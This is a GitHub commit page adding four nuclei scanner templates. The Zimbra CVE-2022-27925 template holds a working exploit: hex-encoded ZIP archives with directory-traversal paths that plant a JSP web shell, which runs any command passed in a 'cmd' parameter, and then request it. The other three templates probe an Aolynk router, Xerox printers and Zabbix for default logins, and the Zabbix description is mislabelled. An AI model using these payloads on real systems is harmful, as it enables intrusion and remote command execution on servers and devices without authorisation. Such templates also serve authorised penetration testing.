Skip to content

Commit d4f6bd5

Browse files
hktalenthktalent
committed
add PoCs:CVE-2022-27925、aolynk-br304-default-passwordl、xerox7-default-password、zabbix-default-password 2022-08-18
1 parent 1fa9b36 commit d4f6bd5

File tree

4 files changed

+123
-0
lines changed

4 files changed

+123
-0
lines changed

‎config/nuclei-templates/51pwn/CVE-2022-27925.yaml

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
id: CVE-2022-27925
2+
info:
3+
name: Zimbra RCE simple poc
4+
severity: high
5+
author:
6+
- 51pwn
7+
description: |-
8+
Zimbra Collaboration (aka ZCS) 8.8.15 and 9.0 has mboximport
9+
functionality that receives a ZIP archive and extracts files from it.
10+
An authenticated user with administrator rights has the ability to upload
11+
arbitrary files to the system, leading to directory traversal.
12+
13+
requests:
14+
- raw:
15+
- |
16+
POST /{{path1}} HTTP/1.1
17+
Host: {{Hostname}}
18+
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
19+
X-Requested-With: XMLHttpRequest
20+
21+
{{hex_decode(file1)}}
22+
- |
23+
GET /zimbraAdmin/cmd.jsp HTTP/1.1
24+
Host: {{Hostname}}
25+
26+
payloads:
27+
path1:
28+
- service/extension/backup/mboximport?account-name=valid_email&account-status=1&ow=cmd
29+
- service/extension/backup/mboximport?account-name=valid_email&ow=2&no-switch=1&append=1
30+
file1:
31+
- 504b030414000000000006030d5582b02ac73d0300003d030000300000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f636d642e6a73703c2540207061676520696d706f72743d226a6176612e7574696c2e2a2c6a6176612e696f2e2a22253e0a3c250a2f2f0a2f2f204a53505f4b49540a2f2f0a2f2f20636d642e6a7370203d20436f6d6d616e6420457865637574696f6e2028756e6978290a2f2f0a2f2f2062793a20556e6b6e6f776e0a2f2f206d6f6469666965643a2032372f30362f323030330a2f2f0a253e0a3c48544d4c3e3c424f44593e0a3c464f524d204d4554484f443d2247455422204e414d453d226d79666f726d2220414354494f4e3d22223e0a3c494e50555420545950453d227465787422204e414d453d22636d64223e0a3c494e50555420545950453d227375626d6974222056414c55453d2253656e64223e0a3c2f464f524d3e0a3c7072653e0a3c250a69662028726571756573742e676574506172616d657465722822636d64222920213d206e756c6c29207b0a20202020202020206f75742e7072696e746c6e2822436f6d6d616e643a2022202b20726571756573742e676574506172616d657465722822636d642229202b20223c42523e22293b0a202020202020202050726f636573732070203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229293b0a20202020202020204f757470757453747265616d206f73203d20702e6765744f757470757453747265616d28293b0a2020202020202020496e70757453747265616d20696e203d20702e676574496e70757453747265616d28293b0a202020202020202044617461496e70757453747265616d20646973203d206e65772044617461496e70757453747265616d28696e293b0a2020202020202020537472696e672064697372203d206469732e726561644c696e6528293b0a20202020202020207768696c652028206469737220213d206e756c6c2029207b0a202020202020202020202020202020206f75742e7072696e746c6e2864697372293b200a2020202020202020202020202020202064697372203d206469732e726561644c696e6528293b200a202020202020202020202020202020207d0a20202020202020207d0a253e0a3c2f7072653e0a3c2f424f44593e3c2f48544d4c3e0a0a0a504b030414000000000006030d5582b02ac73d0300003d030000300000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f636d642e6a73703c2540207061676520696d706f72743d226a6176612e7574696c2e2a2c6a6176612e696f2e2a22253e0a3c250a2f2f0a2f2f204a53505f4b49540a2f2f0a2f2f20636d642e6a7370203d20436f6d6d616e6420457865637574696f6e2028756e6978290a2f2f0a2f2f2062793a20556e6b6e6f776e0a2f2f206d6f6469666965643a2032372f30362f323030330a2f2f0a253e0a3c48544d4c3e3c424f44593e0a3c464f524d204d4554484f443d2247455422204e414d453d226d79666f726d2220414354494f4e3d22223e0a3c494e50555420545950453d227465787422204e414d453d22636d64223e0a3c494e50555420545950453d227375626d6974222056414c55453d2253656e64223e0a3c2f464f524d3e0a3c7072653e0a3c250a69662028726571756573742e676574506172616d657465722822636d64222920213d206e756c6c29207b0a20202020202020206f75742e7072696e746c6e2822436f6d6d616e643a2022202b20726571756573742e676574506172616d657465722822636d642229202b20223c42523e22293b0a202020202020202050726f636573732070203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229293b0a20202020202020204f757470757453747265616d206f73203d20702e6765744f757470757453747265616d28293b0a2020202020202020496e70757453747265616d20696e203d20702e676574496e70757453747265616d28293b0a202020202020202044617461496e70757453747265616d20646973203d206e65772044617461496e70757453747265616d28696e293b0a2020202020202020537472696e672064697372203d206469732e726561644c696e6528293b0a20202020202020207768696c652028206469737220213d206e756c6c2029207b0a202020202020202020202020202020206f75742e7072696e746c6e2864697372293b200a2020202020202020202020202020202064697372203d206469732e726561644c696e6528293b200a202020202020202020202020202020207d0a20202020202020207d0a253e0a3c2f7072653e0a3c2f424f44593e3c2f48544d4c3e0a0a0a504b0102140314000000000006030d5582b02ac73d0300003d030000300000000000000000000000ff81000000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f636d642e6a7370504b0102140314000000000006030d5582b02ac73d0300003d030000300000000000000000000000ff818b0300002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f636d642e6a7370504b05060000000002000200bc000000160700000000
32+
- 504b030414000000000006030d5582b02ac73d0300003d030000320000002e2e2f2e2e2f2e2e2f2e2e2f6a657474795f626173652f776562617070732f7a696d62726141646d696e2f636d642e6a73703c2540207061676520696d706f72743d226a6176612e7574696c2e2a2c6a6176612e696f2e2a22253e0a3c250a2f2f0a2f2f204a53505f4b49540a2f2f0a2f2f20636d642e6a7370203d20436f6d6d616e6420457865637574696f6e2028756e6978290a2f2f0a2f2f2062793a20556e6b6e6f776e0a2f2f206d6f6469666965643a2032372f30362f323030330a2f2f0a253e0a3c48544d4c3e3c424f44593e0a3c464f524d204d4554484f443d2247455422204e414d453d226d79666f726d2220414354494f4e3d22223e0a3c494e50555420545950453d227465787422204e414d453d22636d64223e0a3c494e50555420545950453d227375626d6974222056414c55453d2253656e64223e0a3c2f464f524d3e0a3c7072653e0a3c250a69662028726571756573742e676574506172616d657465722822636d64222920213d206e756c6c29207b0a20202020202020206f75742e7072696e746c6e2822436f6d6d616e643a2022202b20726571756573742e676574506172616d657465722822636d642229202b20223c42523e22293b0a202020202020202050726f636573732070203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229293b0a20202020202020204f757470757453747265616d206f73203d20702e6765744f757470757453747265616d28293b0a2020202020202020496e70757453747265616d20696e203d20702e676574496e70757453747265616d28293b0a202020202020202044617461496e70757453747265616d20646973203d206e65772044617461496e70757453747265616d28696e293b0a2020202020202020537472696e672064697372203d206469732e726561644c696e6528293b0a20202020202020207768696c652028206469737220213d206e756c6c2029207b0a202020202020202020202020202020206f75742e7072696e746c6e2864697372293b200a2020202020202020202020202020202064697372203d206469732e726561644c696e6528293b200a202020202020202020202020202020207d0a20202020202020207d0a253e0a3c2f7072653e0a3c2f424f44593e3c2f48544d4c3e0a0a0a504b030414000000000006030d5582b02ac73d0300003d030000320000002e2e2f2e2e2f2e2e2f2e2e2f6a657474795f626173652f776562617070732f7a696d62726141646d696e2f636d642e6a73703c2540207061676520696d706f72743d226a6176612e7574696c2e2a2c6a6176612e696f2e2a22253e0a3c250a2f2f0a2f2f204a53505f4b49540a2f2f0a2f2f20636d642e6a7370203d20436f6d6d616e6420457865637574696f6e2028756e6978290a2f2f0a2f2f2062793a20556e6b6e6f776e0a2f2f206d6f6469666965643a2032372f30362f323030330a2f2f0a253e0a3c48544d4c3e3c424f44593e0a3c464f524d204d4554484f443d2247455422204e414d453d226d79666f726d2220414354494f4e3d22223e0a3c494e50555420545950453d227465787422204e414d453d22636d64223e0a3c494e50555420545950453d227375626d6974222056414c55453d2253656e64223e0a3c2f464f524d3e0a3c7072653e0a3c250a69662028726571756573742e676574506172616d657465722822636d64222920213d206e756c6c29207b0a20202020202020206f75742e7072696e746c6e2822436f6d6d616e643a2022202b20726571756573742e676574506172616d657465722822636d642229202b20223c42523e22293b0a202020202020202050726f636573732070203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229293b0a20202020202020204f757470757453747265616d206f73203d20702e6765744f757470757453747265616d28293b0a2020202020202020496e70757453747265616d20696e203d20702e676574496e70757453747265616d28293b0a202020202020202044617461496e70757453747265616d20646973203d206e65772044617461496e70757453747265616d28696e293b0a2020202020202020537472696e672064697372203d206469732e726561644c696e6528293b0a20202020202020207768696c652028206469737220213d206e756c6c2029207b0a202020202020202020202020202020206f75742e7072696e746c6e2864697372293b200a2020202020202020202020202020202064697372203d206469732e726561644c696e6528293b200a202020202020202020202020202020207d0a20202020202020207d0a253e0a3c2f7072653e0a3c2f424f44593e3c2f48544d4c3e0a0a0a504b0102140314000000000006030d5582b02ac73d0300003d030000320000000000000000000000ff81000000002e2e2f2e2e2f2e2e2f2e2e2f6a657474795f626173652f776562617070732f7a696d62726141646d696e2f636d642e6a7370504b0102140314000000000006030d5582b02ac73d0300003d030000320000000000000000000000ff818d0300002e2e2f2e2e2f2e2e2f2e2e2f6a657474795f626173652f776562617070732f7a696d62726141646d696e2f636d642e6a7370504b05060000000002000200c00000001a0700000000
33+
- 504b030414000000000056000d5553fc516702000000020000002d0000002e2e2f2e2e2f2e2e2f2e2e2f6a657474792f776562617070732f7a696d62726141646d696e2f706f632e6a7370310a504b030414000000000006030d5582b02ac73d0300003d0300002d0000002e2e2f2e2e2f2e2e2f2e2e2f6a657474792f776562617070732f7a696d62726141646d696e2f636d642e6a73703c2540207061676520696d706f72743d226a6176612e7574696c2e2a2c6a6176612e696f2e2a22253e0a3c250a2f2f0a2f2f204a53505f4b49540a2f2f0a2f2f20636d642e6a7370203d20436f6d6d616e6420457865637574696f6e2028756e6978290a2f2f0a2f2f2062793a20556e6b6e6f776e0a2f2f206d6f6469666965643a2032372f30362f323030330a2f2f0a253e0a3c48544d4c3e3c424f44593e0a3c464f524d204d4554484f443d2247455422204e414d453d226d79666f726d2220414354494f4e3d22223e0a3c494e50555420545950453d227465787422204e414d453d22636d64223e0a3c494e50555420545950453d227375626d6974222056414c55453d2253656e64223e0a3c2f464f524d3e0a3c7072653e0a3c250a69662028726571756573742e676574506172616d657465722822636d64222920213d206e756c6c29207b0a20202020202020206f75742e7072696e746c6e2822436f6d6d616e643a2022202b20726571756573742e676574506172616d657465722822636d642229202b20223c42523e22293b0a202020202020202050726f636573732070203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229293b0a20202020202020204f757470757453747265616d206f73203d20702e6765744f757470757453747265616d28293b0a2020202020202020496e70757453747265616d20696e203d20702e676574496e70757453747265616d28293b0a202020202020202044617461496e70757453747265616d20646973203d206e65772044617461496e70757453747265616d28696e293b0a2020202020202020537472696e672064697372203d206469732e726561644c696e6528293b0a20202020202020207768696c652028206469737220213d206e756c6c2029207b0a202020202020202020202020202020206f75742e7072696e746c6e2864697372293b200a2020202020202020202020202020202064697372203d206469732e726561644c696e6528293b200a202020202020202020202020202020207d0a20202020202020207d0a253e0a3c2f7072653e0a3c2f424f44593e3c2f48544d4c3e0a0a0a504b030414000000000006030d5582b02ac73d0300003d0300002d0000002e2e2f2e2e2f2e2e2f2e2e2f6a657474792f776562617070732f7a696d62726141646d696e2f636d642e6a73703c2540207061676520696d706f72743d226a6176612e7574696c2e2a2c6a6176612e696f2e2a22253e0a3c250a2f2f0a2f2f204a53505f4b49540a2f2f0a2f2f20636d642e6a7370203d20436f6d6d616e6420457865637574696f6e2028756e6978290a2f2f0a2f2f2062793a20556e6b6e6f776e0a2f2f206d6f6469666965643a2032372f30362f323030330a2f2f0a253e0a3c48544d4c3e3c424f44593e0a3c464f524d204d4554484f443d2247455422204e414d453d226d79666f726d2220414354494f4e3d22223e0a3c494e50555420545950453d227465787422204e414d453d22636d64223e0a3c494e50555420545950453d227375626d6974222056414c55453d2253656e64223e0a3c2f464f524d3e0a3c7072653e0a3c250a69662028726571756573742e676574506172616d657465722822636d64222920213d206e756c6c29207b0a20202020202020206f75742e7072696e746c6e2822436f6d6d616e643a2022202b20726571756573742e676574506172616d657465722822636d642229202b20223c42523e22293b0a202020202020202050726f636573732070203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229293b0a20202020202020204f757470757453747265616d206f73203d20702e6765744f757470757453747265616d28293b0a2020202020202020496e70757453747265616d20696e203d20702e676574496e70757453747265616d28293b0a202020202020202044617461496e70757453747265616d20646973203d206e65772044617461496e70757453747265616d28696e293b0a2020202020202020537472696e672064697372203d206469732e726561644c696e6528293b0a20202020202020207768696c652028206469737220213d206e756c6c2029207b0a202020202020202020202020202020206f75742e7072696e746c6e2864697372293b200a2020202020202020202020202020202064697372203d206469732e726561644c696e6528293b200a202020202020202020202020202020207d0a20202020202020207d0a253e0a3c2f7072653e0a3c2f424f44593e3c2f48544d4c3e0a0a0a504b0102140314000000000056000d5553fc516702000000020000002d0000000000000000000000ff81000000002e2e2f2e2e2f2e2e2f2e2e2f6a657474792f776562617070732f7a696d62726141646d696e2f706f632e6a7370504b0102140314000000000006030d5582b02ac73d0300003d0300002d0000000000000000000000ff814d0000002e2e2f2e2e2f2e2e2f2e2e2f6a657474792f776562617070732f7a696d62726141646d696e2f636d642e6a7370504b0102140314000000000006030d5582b02ac73d0300003d0300002d0000000000000000000000ff81d50300002e2e2f2e2e2f2e2e2f2e2e2f6a657474792f776562617070732f7a696d62726141646d696e2f636d642e6a7370504b05060000000003000300110100005d0700000000
34+
attack: clusterbomb
35+
stop-at-first-match: true
36+
matchers:
37+
- type: dsl
38+
dsl:
39+
- 'status_code_1 == 401 && status_code_2 == 200'
40+
41+
redirects: false
42+

‎config/nuclei-templates/51pwn/aolynk-br304-default-passwordl.yaml

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
id: aolynk-br304-default-password
2+
info:
3+
name: 华为Aolynk BR304+ 智能安全路由器默认口令
4+
author:
5+
- 51pwn
6+
description: |-
7+
fofa: Aolynk BR304
8+
requests:
9+
- raw:
10+
- |
11+
GET /index_main.html HTTP/1.1
12+
Host: {{Hostname}}
13+
Authorization: Basic YWRtaW46YWRtaW4=
14+
matchers:
15+
- type: status
16+
status:
17+
- 200
18+
- type: word
19+
condition: and
20+
part: body
21+
words:
22+
- '/menu_admin.html'
23+
matchers-condition: and
24+
redirects: false
25+

‎config/nuclei-templates/51pwn/xerox7-default-password.yaml

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
id: xerox7-default-password
2+
info:
3+
name: Xerox WorkCentre 7xxx - Default Login
4+
severity: high
5+
author:
6+
- 51pwn
7+
description: |-
8+
Testing default credentials admin:1111 on Xerox WorkCentre 7xxx printer.
9+
10+
requests:
11+
- raw:
12+
- |
13+
POST /userpost/xerox.set HTTP/1.1
14+
Host: {{Hostname}}
15+
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
16+
X-Requested-With: XMLHttpRequest
17+
18+
_fun_function=HTTP_Authenticate_fn&NextPage=%2Fproperties%2Fauthentication%2FluidLogin.php&webUsername=admin&webPassword=1111&frmaltDomain=default
19+
matchers:
20+
- type: dsl
21+
dsl:
22+
- 'contains(body,"errmsg") || contains(body,"window.opener.top.location.pathname") && contains(body,"Xerox Corporation") && contains(body,"invalid") && status_code == 200'
23+
24+
redirects: false
25+

‎config/nuclei-templates/51pwn/zabbix-default-password.yaml

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
id: zabbix-default-password
2+
info:
3+
name: Zabbix Default Password
4+
severity: high
5+
author:
6+
- 51pwn
7+
description: |-
8+
fofa: Aolynk BR304
9+
10+
requests:
11+
- raw:
12+
- |
13+
POST /index.php HTTP/1.1
14+
Host: {{Hostname}}
15+
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
16+
X-Requested-With: XMLHttpRequest
17+
18+
name=Admin&password=zabbix&autologin=1&enter=Sign+in
19+
matchers:
20+
- type: status
21+
status:
22+
- 302
23+
- type: word
24+
condition: and
25+
part: header
26+
words:
27+
- 'Location: zabbix.php?action=dashboard.view'
28+
- 'zbx_session'
29+
matchers-condition: and
30+
redirects: false
31+

0 commit comments

Comments
 (0)